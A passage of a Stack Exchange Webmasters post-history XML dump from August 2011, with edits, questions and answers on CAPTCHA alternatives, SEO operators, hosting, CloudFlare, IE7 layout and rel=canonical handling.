  <row Id="45908" PostHistoryTypeId="5" PostId="18798" RevisionGUID="d0f4f5cf-1578-46c2-a4a2-63c6c69f963a" CreationDate="2011-08-26T13:04:02.033" UserId="1253" Comment="modified tags, minor text edits" Text="I have some services on my site that developed by PHP , it seems having CAPTCHA in my registration form is decreasing registering users , I tend to remove CAPTCHA at least on my registering form , is it harmful for my site?&#xD;&#xA;" />
  <row Id="45909" PostHistoryTypeId="6" PostId="18798" RevisionGUID="d0f4f5cf-1578-46c2-a4a2-63c6c69f963a" CreationDate="2011-08-26T13:04:02.033" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;security&gt;&lt;forms&gt;&lt;captcha&gt;" />
  <row Id="45910" PostHistoryTypeId="2" PostId="18803" RevisionGUID="a2aa90b3-6e81-4e69-87b8-9dca81733677" CreationDate="2011-08-26T13:09:13.243" UserId="1253" Text="Security and usability are always going to be at odds. The more secure you make something the harder it typically becomes to use. &#xD;&#xA;&#xD;&#xA;If you want to keep spammers from abusing your registration form you can use these tips I gave in a [previous answer][1]:&#xD;&#xA;&#xD;&#xA;&gt; 1) Putting a fake field that only bots will see. Then if that field is&#xD;&#xA;&gt; submitted with the rest of the form you can ignore it (and ban them if&#xD;&#xA;&gt; desired). You can also [trap bad bots who follow a hidden link][1].&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) Use a field that requires the user to answer a question like what&#xD;&#xA;&gt; is 5 + 3. Any human can answer it but a bot won't know what to do&#xD;&#xA;&gt; since it is auto-populating fields based on field names. So that field&#xD;&#xA;&gt; will be either incorrect or missing in which case the submission will&#xD;&#xA;&gt; be rejected.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3) Use a token and put it into a session and also add it to the form.&#xD;&#xA;&gt; If the token is not submitted with the form or doesn't match then it&#xD;&#xA;&gt; is automated and can be ignored.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4) Look for repeated submissions from the same IP address. If your&#xD;&#xA;&gt; form shouldn't get too many requests but suddenly is it probably is&#xD;&#xA;&gt; being hit by a bot and you should consider temporarily blocking the IP&#xD;&#xA;&gt; address.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5) Use [Askimet][3]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [2]: http://recaptcha.com/&#xD;&#xA;  [3]: http://akismet.com/&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot/3545#3545" />
  <row Id="45911" PostHistoryTypeId="2" PostId="18804" RevisionGUID="e6d10cd1-e69b-4e32-b9bc-62aba25ea079" CreationDate="2011-08-26T13:19:05.093" UserId="8661" Text="I am pro webmaster, ha, and I am building a portfolio site. I also was wanting to make a website where I can sell my website package telling people that I build websites. &#xD;&#xA;&#xD;&#xA;I have a pretty cool web related domain and I have my personal name, so I already have the domains.&#xD;&#xA;&#xD;&#xA;From a professional standpoint, should I separate the two? Having a link to my resume next a sales pitch saying I build websites might turn people off. Any opinions?" />
  <row Id="45912" PostHistoryTypeId="1" PostId="18804" RevisionGUID="e6d10cd1-e69b-4e32-b9bc-62aba25ea079" CreationDate="2011-08-26T13:19:05.093" UserId="8661" Text="what domain should I use for my web-dev website? different than portfolio?" />
  <row Id="45913" PostHistoryTypeId="3" PostId="18804" RevisionGUID="e6d10cd1-e69b-4e32-b9bc-62aba25ea079" CreationDate="2011-08-26T13:19:05.093" UserId="8661" Text="&lt;domains&gt;&lt;website-design&gt;" />
  <row Id="45914" PostHistoryTypeId="10" PostId="18804" RevisionGUID="a1549cf5-7800-4135-bfd3-ba1c2e53419a" CreationDate="2011-08-26T13:24:12.810" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45915" PostHistoryTypeId="5" PostId="18803" RevisionGUID="397e1962-4948-4571-b910-7b008d20b574" CreationDate="2011-08-26T13:45:42.790" UserId="1253" Comment="edited body" Text="Security and usability are always going to be at odds. The more secure you make something the harder it typically becomes to use. &#xD;&#xA;&#xD;&#xA;If you want to keep spammers from abusing your registration form you can use these tips I gave in a [previous answer][4]:&#xD;&#xA;&#xD;&#xA;&gt; 1) Putting a fake field that only bots will see. Then if that field is&#xD;&#xA;&gt; submitted with the rest of the form you can ignore it (and ban them if&#xD;&#xA;&gt; desired). You can also [trap bad bots who follow a hidden link][1].&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) Use a field that requires the user to answer a question like what&#xD;&#xA;&gt; is 5 + 3. Any human can answer it but a bot won't know what to do&#xD;&#xA;&gt; since it is auto-populating fields based on field names. So that field&#xD;&#xA;&gt; will be either incorrect or missing in which case the submission will&#xD;&#xA;&gt; be rejected.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3) Use a token and put it into a session and also add it to the form.&#xD;&#xA;&gt; If the token is not submitted with the form or doesn't match then it&#xD;&#xA;&gt; is automated and can be ignored.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4) Look for repeated submissions from the same IP address. If your&#xD;&#xA;&gt; form shouldn't get too many requests but suddenly is it probably is&#xD;&#xA;&gt; being hit by a bot and you should consider temporarily blocking the IP&#xD;&#xA;&gt; address.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5) Use [Askimet][3]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [2]: http://recaptcha.com/&#xD;&#xA;  [3]: http://akismet.com/&#xD;&#xA;&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot/3545#3545" />
  <row Id="45916" PostHistoryTypeId="2" PostId="18805" RevisionGUID="db1dc364-99b7-45ec-9a85-c51618cd0a60" CreationDate="2011-08-26T14:04:04.710" UserId="9869" Text="I'm planning to move some of my websites from MaximumAsp hosting provider to MS Azure.&#xD;&#xA;&#xD;&#xA;MaximumAsp has a great support and mainly free for all the questions regarding the WebServer, configuration and others.&#xD;&#xA;&#xD;&#xA;Unfortunately their could server is not as flexible compare to MS Azure so I'm thinking to switch.&#xD;&#xA;&#xD;&#xA;I'm concerning about MS Windows Azure and their support, specifically:&#xD;&#xA;&#xD;&#xA;    What is your general opinion about technical support? Helpful, responsive, knowledgeable?&#xD;&#xA;    What is the average time for a reasonable response?&#xD;&#xA;    What are the cost involved and for which kind of assistance?&#xD;&#xA;" />
  <row Id="45917" PostHistoryTypeId="1" PostId="18805" RevisionGUID="db1dc364-99b7-45ec-9a85-c51618cd0a60" CreationDate="2011-08-26T14:04:04.710" UserId="9869" Text="What is your opinion on Technical Support for Windows Azure?" />
  <row Id="45918" PostHistoryTypeId="3" PostId="18805" RevisionGUID="db1dc364-99b7-45ec-9a85-c51618cd0a60" CreationDate="2011-08-26T14:04:04.710" UserId="9869" Text="&lt;cloud-hosting&gt;&lt;azure&gt;" />
  <row Id="45919" PostHistoryTypeId="10" PostId="18805" RevisionGUID="6fdbac91-7923-47b8-806c-ea6d5a278e35" CreationDate="2011-08-26T14:09:10.523" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45920" PostHistoryTypeId="2" PostId="18806" RevisionGUID="62cde114-04c1-4e3a-aebc-5b41879419c0" CreationDate="2011-08-26T14:15:41.803" UserId="9868" Text="Go to your domains settings in dreamhost. Then click on DNS link under the domain name. You'll find CNAME records setting over there. Just enter the nameservers of godaddy in this field. Save the settings and in few hours it'll point to godaddy servers. &#xD;&#xA;&#xD;&#xA;Once you point nameserver to respective host, the FTP and control panel settings apply only if you &quot;add domain&quot; via Cpanel or their control panel. If the domain name is not added in your hosting account, it's not going to let you install scripts and use FTP option. So check godaddy docs for how to add domains once you point the domain name to godaddy serer. " />
  <row Id="45921" PostHistoryTypeId="2" PostId="18807" RevisionGUID="d6104096-50c9-45f7-b0b9-fd14dd38036e" CreationDate="2011-08-26T14:30:46.010" UserId="6184" Text="I've long done this using photoshop, but lacking photoshop skills this takes me ages and is little more than a poor sketch. I'd like a program that has all the common interface elements, theme styling stuff and so on, so I can make a really comprehensive vision of what a finished site should look like (including look &amp; feel).&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="45922" PostHistoryTypeId="1" PostId="18807" RevisionGUID="d6104096-50c9-45f7-b0b9-fd14dd38036e" CreationDate="2011-08-26T14:30:46.010" UserId="6184" Text="What wireframing tools can produce something that looks like a finished website?" />
  <row Id="45923" PostHistoryTypeId="3" PostId="18807" RevisionGUID="d6104096-50c9-45f7-b0b9-fd14dd38036e" CreationDate="2011-08-26T14:30:46.010" UserId="6184" Text="&lt;design&gt;&lt;web-design&gt;" />
  <row Id="45924" PostHistoryTypeId="5" PostId="18763" RevisionGUID="6034c9ad-0de0-4d33-85e9-61940d3fc097" CreationDate="2011-08-26T14:48:15.480" UserId="9845" Comment="Why I will need to hide some contents on mobile?" Text="According to Google Webmaster guideline &quot;Hidden text&quot; is not acceptable. Which means I do have a dov containing some good amount of title or paragraph with link or images if I make it display:none in my CSS, it is against Google crawl policy (thats how it seems).&#xD;&#xA;&#xD;&#xA;My question is if I use it within media queries how Google will react? I mean &#xD;&#xA;&#xD;&#xA;    @media handheld, only screen and (max-width: 767px) {&#xD;&#xA;        body {&#xD;&#xA;        }&#xD;&#xA;        .mobile-friendly{ display:none;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for fluid website development we often have to hide certain contents to make the site mobile friendly. Rather than making css for each browser we now code css within same file and define browser behaviour using media queries.&#xD;&#xA;&#xD;&#xA;So is google take any action against it?&#xD;&#xA;&#xD;&#xA;--Additional Piont/Question&#xD;&#xA;Thanks @John Conde; You are right. Google still is not taking much action against Hidden text. But still pro SEO suggest not to use it. In Example using logo within tag on wordpress and text-indenting them to -9999px ... there are more of the tricks involved.&#xD;&#xA;&#xD;&#xA;As I am trying to play safe; this is annoying me a lot.&#xD;&#xA;&#xD;&#xA;[Google Hidden Text Violation Guide][1]&#xD;&#xA;&#xD;&#xA;You see they clearly mention CSS display properties. They didn't explain about these media query exception! As I am trying to be over sure and as Google didn't mentioned anything about it I'm still confused on this question. Any Advice?&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;&#xD;&#xA;Thanks for the edits by editors. I'm new here sorry for any inconvenience.&#xD;&#xA;&#xD;&#xA;Why you may require to hide few contents?&#xD;&#xA;The blog I'm desiring is responsive. I want to let my visitors know about it's mobile friendly design. I have placed few mobile icons for better user experience and usability assurance. But I want them visible only on desktop browser not on mobile. Because if they are already browsing from mobile they don't needed to be notify. Infact I can rather tell them this site can be used as web apps while they are on mobile. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66353" />
  <row Id="45925" PostHistoryTypeId="24" PostId="18763" RevisionGUID="6034c9ad-0de0-4d33-85e9-61940d3fc097" CreationDate="2011-08-26T14:48:15.480" Comment="Proposed by 9845 approved by 108 edit id of 509" />
  <row Id="45926" PostHistoryTypeId="25" PostId="18798" RevisionGUID="246ba094-ce54-46df-a1b0-e0b40a433bff" CreationDate="2011-08-26T15:35:18.523" Comment="http://twitter.com/#!/StackWebmasters/status/107113900398485504" />
  <row Id="45927" PostHistoryTypeId="2" PostId="18808" RevisionGUID="ad64557a-862a-4954-951a-c19c5ca710dd" CreationDate="2011-08-26T15:49:06.700" UserId="9269" Text="I would like to learn Drupal 7, is there  any good sites to introduce Drupal 7?" />
  <row Id="45928" PostHistoryTypeId="1" PostId="18808" RevisionGUID="ad64557a-862a-4954-951a-c19c5ca710dd" CreationDate="2011-08-26T15:49:06.700" UserId="9269" Text="Is there any good tutorial site to develop Drupal 7?" />
  <row Id="45929" PostHistoryTypeId="3" PostId="18808" RevisionGUID="ad64557a-862a-4954-951a-c19c5ca710dd" CreationDate="2011-08-26T15:49:06.700" UserId="9269" Text="&lt;drupal&gt;" />
  <row Id="45930" PostHistoryTypeId="2" PostId="18809" RevisionGUID="06ee078b-e7e8-414d-bf57-d6a4b587a8ee" CreationDate="2011-08-26T15:53:14.043" UserId="8009" Text="[Seriously...][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?q=drupal%207%20tutorials&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a" />
  <row Id="45931" PostHistoryTypeId="10" PostId="18808" RevisionGUID="b0d73c6e-349a-45e6-ac3c-4859801151d3" CreationDate="2011-08-26T15:54:45.773" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45932" PostHistoryTypeId="17" PostId="18810" RevisionGUID="237d4676-1b55-4948-aa45-444b5154e4f1" CreationDate="2011-08-26T16:07:34.367" UserId="-1" Comment="from http://stackoverflow.com/questions/7206830/seo-question-allintitle-with-or-without-quotes" Text="" />
  <row Id="45933" PostHistoryTypeId="17" PostId="18811" RevisionGUID="f2396831-b925-4304-a74c-137cb3cb9079" CreationDate="2011-08-26T16:07:34.367" UserId="-1" Comment="from http://stackoverflow.com/questions/7206830/seo-question-allintitle-with-or-without-quotes" Text="" />
  <row Id="45934" PostHistoryTypeId="17" PostId="18812" RevisionGUID="76e9f5f2-79e9-4e2e-9fd3-202fc979344d" CreationDate="2011-08-26T16:07:34.367" UserId="-1" Comment="from http://stackoverflow.com/questions/7206830/seo-question-allintitle-with-or-without-quotes" Text="" />
  <row Id="45935" PostHistoryTypeId="2" PostId="18811" RevisionGUID="8127a8d1-77ef-46f4-af82-00608800ab20" CreationDate="2011-08-26T15:17:42.487" UserId="8009" Text="By including the quotes you eliminate anything other than exact matches for the chosen phrase, so I wouldn't recommend it. It wouldn't necessarily rank any better than the non-quoted version either." />
  <row Id="45936" PostHistoryTypeId="2" PostId="18812" RevisionGUID="0187d068-4cfb-4b44-a093-e04dd0cb5dff" CreationDate="2011-08-26T15:37:08.237" UserId="1253" Text="You should want to rank well for the search terms that users are using. The vast majority of searches are done without quotes (most users don't even know that using quotes returns exact matches) so this is what you should be researching and targeting.  " />
  <row Id="45937" PostHistoryTypeId="2" PostId="18810" RevisionGUID="8004280f-2868-4f79-8fe3-13c74e59c500" CreationDate="2011-08-26T15:10:55.767" UserDisplayName="Aaron" Text="I'm trying to learn more about implementing basic SEO strategies and have been spending a lot of time refining my keywords using Google Analytics combined with manually checking them using Google's allintitle operator. However, I'm unclear on whether I should be using quotes with my allintitles. &#xD;&#xA;Example: &#xD;&#xA;&#xD;&#xA;allintitle: seo tips and tricks for beginners&#xD;&#xA;191 results&#xD;&#xA;&#xD;&#xA;allintitle: &quot;seo tips and tricks for beginners&quot;&#xD;&#xA;70 results&#xD;&#xA;&#xD;&#xA;My thought is that it would be more accurate to use it without quotes because that way you get a more well rounded idea of all those you are competing with. So, my question is does Google give more weight to exact matches in the title tag or does that not really matter? If someone searched for: seo tips and tricks for beginners, would they be more likely to see the ones that have that exact phrase in their title tag or does that not have any impact? " />
  <row Id="45938" PostHistoryTypeId="1" PostId="18810" RevisionGUID="8004280f-2868-4f79-8fe3-13c74e59c500" CreationDate="2011-08-26T15:10:55.767" UserDisplayName="Aaron" Text="SEO Question - allintitle with or without quotes" />
  <row Id="45939" PostHistoryTypeId="3" PostId="18810" RevisionGUID="8004280f-2868-4f79-8fe3-13c74e59c500" CreationDate="2011-08-26T15:10:55.767" UserDisplayName="Aaron" Text="&lt;seo&gt;" />
  <row Id="45940" PostHistoryTypeId="17" PostId="18813" RevisionGUID="8d16bcf2-f097-4d57-a3a5-80dfb0c88b2d" CreationDate="2011-08-26T17:41:16.770" UserId="-1" Comment="from http://stackoverflow.com/questions/7208079/siteadvisor-advice" Text="" />
  <row Id="45941" PostHistoryTypeId="2" PostId="18813" RevisionGUID="a32d5541-7316-4ac8-8f96-f5a74493965b" CreationDate="2011-08-26T16:56:32.503" UserId="9884" UserDisplayName="thejartender" Text="Last year I got my first site up before I I fell ill. You welcome to have a look, but it needs a lot of work.&#xD;&#xA;&#xD;&#xA;At the time I submitted my site for testing with McAfee's Site Advisor as I noticed my site received a bad review as a spam/scam site. [See here][1]&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;1)From a development perspective, how important are things like this? I know from a user perspective, I stay away from the sites that have a bad rap in Site Advisor.&#xD;&#xA;&#xD;&#xA;2)The bad review was not even related to my site content, but was given due to my registrar(think it's Enom). Now I have to question if anyone knows if it's normal for sites to be rated according to the registrar and not content?&#xD;&#xA;&#xD;&#xA;3)This question is not so important but it interests me that after a year, my reply to my review has been ignored. I have to ask if it's even worth worrying anymore about this?&#xD;&#xA;&#xD;&#xA;Yucca &#xD;&#xA;&#xD;&#xA;  [1]: http://www.siteadvisor.com/sites/thejarbar.org?pip=false&amp;premium=false&amp;client_uid=191946869&amp;client_ver=3.4.0.143&amp;client_type=IEPlugin&amp;suite=false&amp;aff_id=0&amp;locale=en_gb&amp;ui=1&amp;os_ver=6.1.1.0" />
  <row Id="45942" PostHistoryTypeId="1" PostId="18813" RevisionGUID="a32d5541-7316-4ac8-8f96-f5a74493965b" CreationDate="2011-08-26T16:56:32.503" UserId="9884" UserDisplayName="thejartender" Text="SiteAdvisor advice?" />
  <row Id="45943" PostHistoryTypeId="3" PostId="18813" RevisionGUID="a32d5541-7316-4ac8-8f96-f5a74493965b" CreationDate="2011-08-26T16:56:32.503" UserId="9884" UserDisplayName="thejartender" Text="&lt;web-hosting&gt;&lt;web-security&gt;" />
  <row Id="45944" PostHistoryTypeId="2" PostId="18814" RevisionGUID="16fb1f93-9c08-4c75-a151-d393959c42fa" CreationDate="2011-08-26T17:51:59.167" UserId="9189" Text="I've been reading the CloudFlare FAQ, I understand that is acts as a reverse proxy&#xD;&#xA;and **all** requests to your domain will go through CloudFlare.&#xD;&#xA;&#xD;&#xA;They say in the FAQ that it won't slow down dynamic content, is this even possible?&lt;br&gt;&#xD;&#xA;because all dynamic content requested will be requested from their server, than their&#xD;&#xA;server needs to request it from your server and than send it to the client.&lt;br&gt;&#xD;&#xA;That's at least they I understand it.&#xD;&#xA;&#xD;&#xA;It seems to me like this would slow down dynamic content.&#xD;&#xA;&#xD;&#xA;So is it true? CloudFlare doesn't affect dynamic content?" />
  <row Id="45945" PostHistoryTypeId="1" PostId="18814" RevisionGUID="16fb1f93-9c08-4c75-a151-d393959c42fa" CreationDate="2011-08-26T17:51:59.167" UserId="9189" Text="is it true that CloudFlare really doesn't affect dynamic content?" />
  <row Id="45946" PostHistoryTypeId="3" PostId="18814" RevisionGUID="16fb1f93-9c08-4c75-a151-d393959c42fa" CreationDate="2011-08-26T17:51:59.167" UserId="9189" Text="&lt;performance&gt;&lt;cdn&gt;&lt;proxy&gt;" />
  <row Id="45947" PostHistoryTypeId="2" PostId="18815" RevisionGUID="d9ed96ae-e4dd-42e2-9d76-eb282f5f3789" CreationDate="2011-08-26T18:17:19.693" UserId="4502" Text="That's not what the &lt;a href=&quot;http://www.cloudflare.com/faqs.html&quot;&gt;FAQ&lt;/a&gt; says:&#xD;&#xA;&#xD;&#xA;&gt; CloudFlare does not cache HTML, we only cache static files like images, CSS or Javascript. So if your HTML content is constantly changing, CloudFlare will not affect this content.&#xD;&#xA;&#xD;&#xA;It won't slow down your dynamic content–or help it, either–because they don't do anything with it.&#xD;&#xA;&#xD;&#xA;(If you read something else that conflicts with the above, then you'll have to provide your own link for review.)" />
  <row Id="45948" PostHistoryTypeId="2" PostId="18816" RevisionGUID="139be2c6-f6c5-469c-a59e-999f0efebbea" CreationDate="2011-08-26T18:19:57.957" UserId="9868" Text="M6 Hosting, Bizhostnet and DiscountASP are some of the reliable hosts. Other than that [Hostgator][1] and [Arvixe][2] also offer .NET and media hosting. If you choose to got the route of VPS and dedicated hosting then there are many hosts available offering managed .NET hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hostgator.com&#xD;&#xA;  [2]: http://www.arvixe.com/1350.html" />
  <row Id="45949" PostHistoryTypeId="2" PostId="18817" RevisionGUID="912ee83d-4234-4fdf-b42c-a2d117ea7ee6" CreationDate="2011-08-26T18:21:42.463" UserId="9873" Text="I'm working on a website for my Dad and can't seem to fix the one thing I have left to do.&#xD;&#xA;&#xD;&#xA;The website is http://www.tendonaid.com&#xD;&#xA;&#xD;&#xA;The problem is that in IE7 and below, the navigation floats off to the left, and it looks horrible. Unfortunately, his target audience is older gentlemen (the product relieves tendon pain), who may be unfamiliar with technology and as such, rarely, if ever, update their browsers. They are also very likely to have Internet Explorer.&#xD;&#xA;&#xD;&#xA;Help?&#xD;&#xA;&#xD;&#xA;I hate Internet Explorer." />
  <row Id="45950" PostHistoryTypeId="1" PostId="18817" RevisionGUID="912ee83d-4234-4fdf-b42c-a2d117ea7ee6" CreationDate="2011-08-26T18:21:42.463" UserId="9873" Text="Floating navigation in IE 7 and below?" />
  <row Id="45951" PostHistoryTypeId="3" PostId="18817" RevisionGUID="912ee83d-4234-4fdf-b42c-a2d117ea7ee6" CreationDate="2011-08-26T18:21:42.463" UserId="9873" Text="&lt;html&gt;&lt;css&gt;&lt;browsers&gt;&lt;internet-explorer&gt;" />
  <row Id="45952" PostHistoryTypeId="5" PostId="18813" RevisionGUID="bee7c217-2d7a-4674-8a25-50cd61cb5b20" CreationDate="2011-08-26T18:22:30.310" UserId="4502" Comment="deleted 122 characters in body" Text="At the time I submitted my site for testing with McAfee's Site Advisor as I noticed my site received a bad review as a spam/scam site. [See here][1]&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;1. From a development perspective, how important are things like this? I know from a user perspective, I stay away from the sites that have a bad rap in Site Advisor.&#xD;&#xA;2. The bad review was not even related to my site content, but was given due to my registrar(think it's Enom). Now I have to question if anyone knows if it's normal for sites to be rated according to the registrar and not content?&#xD;&#xA;3. This question is not so important but it interests me that after a year, my reply to my review has been ignored. I have to ask if it's even worth worrying anymore about this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.siteadvisor.com/sites/thejarbar.org?pip=false&amp;premium=false&amp;client_uid=191946869&amp;client_ver=3.4.0.143&amp;client_type=IEPlugin&amp;suite=false&amp;aff_id=0&amp;locale=en_gb&amp;ui=1&amp;os_ver=6.1.1.0" />
  <row Id="45953" PostHistoryTypeId="2" PostId="18818" RevisionGUID="f99640e2-2adb-4564-aa38-10eef59a9329" CreationDate="2011-08-26T18:26:53.163" UserId="4" Text="You might have heard that we launched [Facebook Stack Overflow][1] yesterday.&#xD;&#xA;&#xD;&#xA;As part of this, we modified our code to put `&lt;meta rel=&quot;canonical&quot; ...` tags on every question and user on the facebook.stackoverflow.com domain that points to &quot;vanilla&quot; Stack Overflow.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;[iAd error &quot;Ad inventory unavailable&quot;][2] on facebook.stackoverflow.com  &#xD;&#xA;&amp;  &#xD;&#xA;[iAd error &quot;Ad inventory unavailable&quot;][3] on stackoverflow.com&#xD;&#xA;&#xD;&#xA;On facebook.stackoverflow the html contains the meta tag&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&quot;&gt;&#xD;&#xA;&#xD;&#xA;The intent there is to tell Google &quot;these are exactly the same page, impart all page rank to Stack Overflow's copy and prefer it in search results&quot;.&#xD;&#xA;&#xD;&#xA;This seems like the [point of rel=&quot;canonical&quot;][4].&#xD;&#xA;&#xD;&#xA;&gt; A canonical page is the preferred version of a set of pages with&#xD;&#xA;&gt; highly similar content.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It's common for a site to have several pages listing the same set of&#xD;&#xA;&gt; products. For example, one page might display products sorted in&#xD;&#xA;&gt; alphabetical order, while other pages display the same products listed&#xD;&#xA;&gt; by price or by rating. For example:&#xD;&#xA;&gt; &#xD;&#xA;&gt; If Google knows that these pages have the same content, we may index&#xD;&#xA;&gt; only one version for our search results. Our algorithms select the&#xD;&#xA;&gt; page we think best answers the user's query. Now, however, users can&#xD;&#xA;&gt; specify a canonical page to search engines by adding a &lt;link&gt; element&#xD;&#xA;&gt; with the attribute rel=&quot;canonical&quot; to the &lt;head&gt; section of the&#xD;&#xA;&gt; non-canonical version of the page. Adding this link and attribute lets&#xD;&#xA;&gt; site owners identify sets of identical content and suggest to Google:&#xD;&#xA;&gt; **&quot;Of all these pages with identical content, this page is the most&#xD;&#xA;&gt; useful. Please prioritize it in search results.&quot;**&#xD;&#xA;&#xD;&#xA;However, we're seeing Facebook Stack Overflow results and sometimes they even outrank vanilla Stack Overflow ([an example][5]).  Maybe this is something to do with having an independent sitemap.xml for facebook.stackoverflow.com (sort of a shot in the dark)?&#xD;&#xA;&#xD;&#xA;So, what are we doing wrong here?&#xD;&#xA;&#xD;&#xA;We're kind of hoping to keep searches of the form `site:facebook.stackoverflow.com` working, but giving those up is totally acceptable if a total `rel=&quot;noindex&quot;` is required.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2011/08/facebook-stackoverflow/&#xD;&#xA;  [2]: http://facebook.stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394&#xD;&#xA;  [5]: http://www.google.com/search?q=Uploading%20a%20file%20to%20Facebook%20using%20Koala%20on%20Ruby%20on%20Rails" />
  <row Id="45954" PostHistoryTypeId="1" PostId="18818" RevisionGUID="f99640e2-2adb-4564-aa38-10eef59a9329" CreationDate="2011-08-26T18:26:53.163" UserId="4" Text="Canonical'd pages on subdomain showing up in Google search results" />
  <row Id="45955" PostHistoryTypeId="3" PostId="18818" RevisionGUID="f99640e2-2adb-4564-aa38-10eef59a9329" CreationDate="2011-08-26T18:26:53.163" UserId="4" Text="&lt;google&gt;&lt;subdomain&gt;&lt;canonical-url&gt;" />
  <row Id="45956" PostHistoryTypeId="2" PostId="18819" RevisionGUID="2d4b311c-b702-4d1d-836e-f72746fde908" CreationDate="2011-08-26T18:29:50.750" UserId="9868" Text="Mixrank, Ahrefs and Open site explorer are the tools that can be used for competitor analysis. You'll be able to find even PPC campaigns of your competitor using mixrank. &#xD;&#xA;&#xD;&#xA;One thing you'll notice here is that links registered by Yahoo explorer and Google webmaster tools differ in numbers. " />
  <row Id="45957" PostHistoryTypeId="25" PostId="18818" RevisionGUID="455370ad-f030-47ec-85a2-4826788598d8" CreationDate="2011-08-26T18:35:19.337" Comment="http://twitter.com/#!/StackWebmasters/status/107159202975334400" />
  <row Id="45958" PostHistoryTypeId="5" PostId="18818" RevisionGUID="28437562-37d7-4c53-a94d-07938aac5307" CreationDate="2011-08-26T18:40:32.247" UserId="3" Comment="added 83 characters in body" Text="You might have heard that we launched [Facebook Stack Overflow][1] yesterday.&#xD;&#xA;&#xD;&#xA;As part of this, we modified our code to put `&lt;meta rel=&quot;canonical&quot; ...` tags on every question and user on the facebook.stackoverflow.com domain that points to &quot;vanilla&quot; Stack Overflow.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;[iAd error &quot;Ad inventory unavailable&quot;][2] on facebook.stackoverflow.com  &#xD;&#xA;&amp;  &#xD;&#xA;[iAd error &quot;Ad inventory unavailable&quot;][3] on stackoverflow.com&#xD;&#xA;&#xD;&#xA;On facebook.stackoverflow the html contains the meta tag&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&quot;&gt;&#xD;&#xA;&#xD;&#xA;The intent there is to tell Google &quot;these are exactly the same page, impart all page rank to Stack Overflow's copy and prefer it in search results&quot;.&#xD;&#xA;&#xD;&#xA;This seems like the [point of rel=&quot;canonical&quot;][4].&#xD;&#xA;&#xD;&#xA;&gt; A canonical page is the preferred version of a set of pages with&#xD;&#xA;&gt; highly similar content.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It's common for a site to have several pages listing the same set of&#xD;&#xA;&gt; products. For example, one page might display products sorted in&#xD;&#xA;&gt; alphabetical order, while other pages display the same products listed&#xD;&#xA;&gt; by price or by rating. For example:&#xD;&#xA;&gt; &#xD;&#xA;&gt; If Google knows that these pages have the same content, we may index&#xD;&#xA;&gt; only one version for our search results. Our algorithms select the&#xD;&#xA;&gt; page we think best answers the user's query. Now, however, users can&#xD;&#xA;&gt; specify a canonical page to search engines by adding a &lt;link&gt; element&#xD;&#xA;&gt; with the attribute rel=&quot;canonical&quot; to the &lt;head&gt; section of the&#xD;&#xA;&gt; non-canonical version of the page. Adding this link and attribute lets&#xD;&#xA;&gt; site owners identify sets of identical content and suggest to Google:&#xD;&#xA;&gt; **&quot;Of all these pages with identical content, this page is the most&#xD;&#xA;&gt; useful. Please prioritize it in search results.&quot;**&#xD;&#xA;&#xD;&#xA;However, we're seeing Facebook Stack Overflow results and sometimes they even outrank vanilla Stack Overflow ([an example][5]).  Maybe this is something to do with having an independent sitemap.xml for facebook.stackoverflow.com (sort of a shot in the dark)?&#xD;&#xA;&#xD;&#xA;![example Google search result][6]&#xD;&#xA;&#xD;&#xA;So, what are we doing wrong here?&#xD;&#xA;&#xD;&#xA;We're kind of hoping to keep searches of the form `site:facebook.stackoverflow.com` working, but giving those up is totally acceptable if a total `rel=&quot;noindex&quot;` is required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 